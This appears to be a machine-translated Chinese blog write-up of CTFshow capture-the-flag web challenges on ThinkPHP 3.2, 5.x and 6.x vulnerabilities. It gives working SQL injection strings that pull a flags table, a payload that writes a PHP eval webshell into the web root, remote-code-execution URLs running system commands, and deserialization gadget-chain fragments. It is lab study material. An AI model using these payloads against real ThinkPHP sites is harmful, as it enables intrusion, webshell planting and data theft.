当前位置:网站首页>Ctfshow getting started with the web (ThinkPHP topic)
Ctfshow getting started with the web (ThinkPHP topic)
2022-06-30 14:19:00 【Ff. cheng】
569 URL Pattern

Look up the manual :URL Pattern · ThinkPHP3.2.3 Full development manual
http://serverName/index.php/ modular / controller / operation
payload:
Common mode :/?m=Admin&c=Login&a=ctfshowLogin
Pathinfo Pattern :/index.php/Admin/Login/ctfshowLogin
Compatibility mode :/?s=/Admin/Login/ctfshowLogin
570 route
Discovery route :

According to the manual :
Direct structure : Direct execution here is not allowed , Perform twice 
571 The hacker built the controller back door
Thinkphp3.2.3 Safety development instructions
show Controllable method parameters
572 Log path
Thinkphp3 Log path
/Application/Runtime/Logs/Home/21_04_15.log
573-574 v3.2.3 find sql Inject
/?id[where]=1 and updatexml(1,concat(0x7e,right((select group_concat(flag4s) from flags),22),0x7e),1)
?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23
web575
ThinkPHP 3.2.3 Deserialization &sql Injection vulnerability analysis
First, use the malicious database to read the database information used in the topic

modify exp
"table" => "ctfshow_users where 1=2;select \"<?php eval(\$_POST[0]);?>\" into outfile \"/var/www/html/Y0ng2.php\"#",
576
comment Note injection write shell
Web577
Thinkphp3.2.3 exp Inject
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
web578
Variable coverage causes rce
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
With that one ThinkPHP 3.2.x RCE almost
Analysis of the assign Two parameters are controllable

Get into display Enter again fetch Method , The title is used php Templates

extract Directly override variables $_content
Then in assign There are two ways , What is passed in is a string or an array
payload:
?name=_content&from=<?php system('cat /fl*');?>
perhaps
?name[_content]=<?php phpinfo();?>&from=123
that 3.2.3rce It's in the Think Under the template , This problem is relatively simple in analysis
Web579-610 TP5 rce
Start thinkphp5 rce
payload A lot of
web606
Find some of the first few questions payload That's it , To this question input write invokefunction display Filtered , however Capitalization It bypasses
A new pass :
/?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php system('whoami'); ?>

Generate shell Splice track $content Conduct write Write to cache file


Then read ,include Template cache file


611 TP 5.1 Deserialization
thinkphp 5.1.38 Deserialization RCE
ThinkPHP v5.1.x Deserialization analysis
612-622 5.1 deformation
From this question, we can see Around how to call input Function or param To make an article , Search directly for who calls input, Then analyze it
call param Of :

'var_pjax' => '',
$this->hook = ['visible'=>[$this,"isPjax"]];

$this->get = ['y0ng'=>'whoami'];
$this->hook = ['visible'=>[$this,"__get"]];
call input Of :

$this->hook = ['visible'=>[$this,"request"]]; direct url Just pass the parameters

$this->route = ['y0ng'=>'whoami'];
$this->hook = ['visible'=>[$this,"route"]];


623-625 TP6 Deserialization
There's a strange place , The title shows 6.0.8 But it should not be possible , So the title version should be wrong , use 6.0.3 That's all right.
ThinkPHP v6.0.x Deserialization vulnerability analysis
use 6.0.9 chain There are two kinds of A direct eval perhaps You can also write files
边栏推荐
- Jetpack compose for perfect screen fit
- 想请教一下,我在佛山,到哪里开户比较好?手机开户是安全么?
- Laravel8 custom log directory, rename
- Solve the error in my QT_ thread_ global_ End(): 3 threads didn't exit
- Laravel artist command error
- VisualStudio and SQL
- [scientific research data processing] [practice] frequency analysis chart of category variables, distribution chart of numerical variables and normality test (including lognormal)
- Details of gets, fgetc, fgets, Getc, getchar, putc, fputc, putchar, puts, fputs functions
- 半导体动态杂谈
- Go common lock mutex and rwmutex
猜你喜欢

Optimization of unit test efficiency: why test programs? What are the benefits of testing?

Apache Doris comparison optimization Encyclopedia

go channel && select

半导体动态杂谈

Flat shading with unity
![[Title brushing] avoid flooding](/img/2d/95498d54c0c3c5ca79bb72b7a977bc.png)
[Title brushing] avoid flooding

The programming competition is coming! B station surrounding, senior members and other good gifts to you!
![【科研数据处理】[基础]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)](/img/70/8bf226964118efb324ca4d339df654.png)
【科研数据处理】[基础]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)

Getting started with shell Basics

Google Earth Engine(GEE)——GHSL:全球人类住区层,建成网格 1975-1990-2000-2015 (P2016) 数据集
随机推荐
Google Earth engine (GEE) -- converts string to number and applies it to time search (ee.date.fromymd)
Begin End use the pit encountered
Larave8 JWT API expiration custom error return
【科学文献计量】外文文献及中文文献关键词的挖掘与可视化
Laravel RBAC laravel permission use
Golang template (text/template)
Comprehensively analyze the basic features and summary of free and paid SSH tools
Numpy creates an empty array data = np empty(shape=[1, 64,64,3])
【科研数据处理】[基础]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)
@ResponseBody的作用
Go sync. WaitGroup
Initial attack and defense world Misc
Deep understanding Net (2) kernel mode 2 Kernel mode construct semaphone
Why is the resolution of the image generated by PHP GD library 96? How to change it to 72
Problems in QT creator (additional unknown and error lines are listed in the debug output window)
Laravel8 custom log directory, rename
可觀測,才可靠:雲上自動化運維CloudOps系列沙龍 第一彈
The JSON data returned from the control layer to JS has a "\" translator. How to remove it
单元测试效率优化:为什么要对程序进行测试?测试有什么好处?
Upgrade composer self update